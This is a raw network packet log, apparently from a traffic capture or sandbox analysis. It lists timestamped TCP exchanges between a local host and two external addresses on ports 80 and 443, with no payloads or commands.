Dec 7, 2024 00:15:19.972151041 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.972203016 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.972234964 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.972285986 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.973192930 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.973268032 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.973300934 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.973532915 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.974112988 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.974194050 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.974206924 CET	443	49726	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.974265099 CET	443	49726	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.974289894 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.974292994 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.974329948 CET	49726	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.974345922 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.974404097 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.974484921 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.975347996 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.975476980 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.976448059 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.976562977 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.977471113 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.977597952 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.978552103 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.978756905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.979612112 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.979760885 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.979770899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.979805946 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.980237007 CET	49726	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.980249882 CET	443	49726	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.980259895 CET	49726	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.980263948 CET	443	49726	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.980674028 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.980736971 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.980765104 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.981035948 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.981719971 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.981803894 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.981837034 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.981894016 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.982795000 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.982882023 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.982928991 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.982969046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.983397007 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.983401060 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.983819008 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.983932972 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.983984947 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.984893084 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.984931946 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.984992027 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.985038042 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.985883951 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.985903025 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.985960007 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.985995054 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.986023903 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.986078024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.986121893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.986751080 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.986762047 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.986995935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.987050056 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.987086058 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.987126112 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.988046885 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.988097906 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.988111973 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.988141060 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.989063978 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.989075899 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.989140034 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.989317894 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.989326954 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.990371943 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.990380049 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.990540981 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.990715027 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.990721941 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:20.028891087 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.028997898 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.029000044 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.029057026 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.029385090 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.029428005 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.029489040 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.029529095 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.030455112 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.030509949 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.030548096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.030644894 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.031510115 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.031579971 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.031620979 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.031802893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.032567978 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.032630920 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.032722950 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.032778978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.033628941 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.033677101 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.033718109 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.033763885 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.034698963 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.034748077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.034780979 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.034868956 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.035717964 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.035763025 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.035849094 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.035892963 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.036797047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.036850929 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.036886930 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.036927938 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.037866116 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.037904978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.037946939 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.038043976 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.038903952 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.039026976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.039103985 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.039972067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.040014029 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.040102005 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.040163994 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.041011095 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.041063070 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.041099072 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.041162014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.042043924 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.042089939 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.106947899 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.107048035 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.107124090 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.107475042 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.107589960 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.107636929 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.108557940 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.108603954 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.108648062 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.109654903 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.109709024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.109709024 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.109752893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.110663891 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.110779047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.110838890 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.111704111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.111804008 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.111856937 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.112754107 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.112854958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.112905979 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.113811016 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.113941908 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.113985062 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.114850044 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.114976883 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.115030050 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.115940094 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.116014957 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.116066933 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.116995096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.117043018 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.117116928 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.117753983 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.118037939 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.118084908 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.118155003 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.118211031 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.119103909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.119152069 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.119306087 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.119352102 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.120137930 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.120191097 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.120307922 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.120346069 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.121187925 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.121234894 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.121299982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.121344090 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.122289896 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.122374058 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.122440100 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.123306036 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.123406887 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.123467922 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.124355078 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.124471903 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.124526978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.125441074 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.125513077 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.125576973 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.126481056 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.126583099 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.126636982 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.127516985 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.127631903 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.127700090 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.128603935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.128663063 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.128698111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.129765987 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.129774094 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.129863977 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.129901886 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.130716085 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.133773088 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.163189888 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.163248062 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.163352966 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.163541079 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.163691998 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.163746119 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.164433002 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.164484024 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.164530993 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.165334940 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.165390015 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.165435076 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.165760994 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.166201115 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.166305065 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.166366100 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.167140007 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.167344093 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.167406082 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.167947054 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.168045998 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.168102980 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.168792009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.168837070 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.168889999 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.168934107 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.169708967 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.169754982 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.169780970 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.169819117 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.170586109 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.170656919 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.170681953 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.171422958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.171489000 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.171542883 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.172303915 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.172352076 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.172384024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.173166037 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.173221111 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.173408031 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.173762083 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.174195051 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.174297094 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.174344063 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.174899101 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.175050020 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.175096035 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.175791979 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.175913095 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.175964117 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.176711082 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.176760912 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.176784039 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.177764893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.221415043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.221525908 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.221549034 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.221585035 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.221801043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.221929073 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.221935987 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.221971035 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.222666979 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.222712994 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.222769976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.222810984 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.223543882 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.223598957 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.223642111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.223716021 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.224406004 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.224456072 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.224509001 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.224608898 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.225290060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.225332975 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.225397110 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.225558043 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.226166964 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.226275921 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.226342916 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.227014065 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.227127075 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.227189064 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.227920055 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.228017092 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.228065014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.228754997 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.228862047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.228909969 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.229626894 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.229741096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.229762077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.229793072 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.230508089 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.230607033 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.230655909 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.231376886 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.231482029 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.231530905 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.232199907 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.233772993 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.338501930 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.338551044 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.338624001 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.338943005 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.339113951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.339154959 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.339713097 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.340049982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.340097904 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.340145111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.340915918 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.340960979 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.341044903 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.341085911 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.341780901 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.341898918 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.341944933 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.342655897 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.342746019 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.342791080 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.343533993 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.343578100 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.343638897 CET	80	49715	185.215.113.206	192.168.2.6
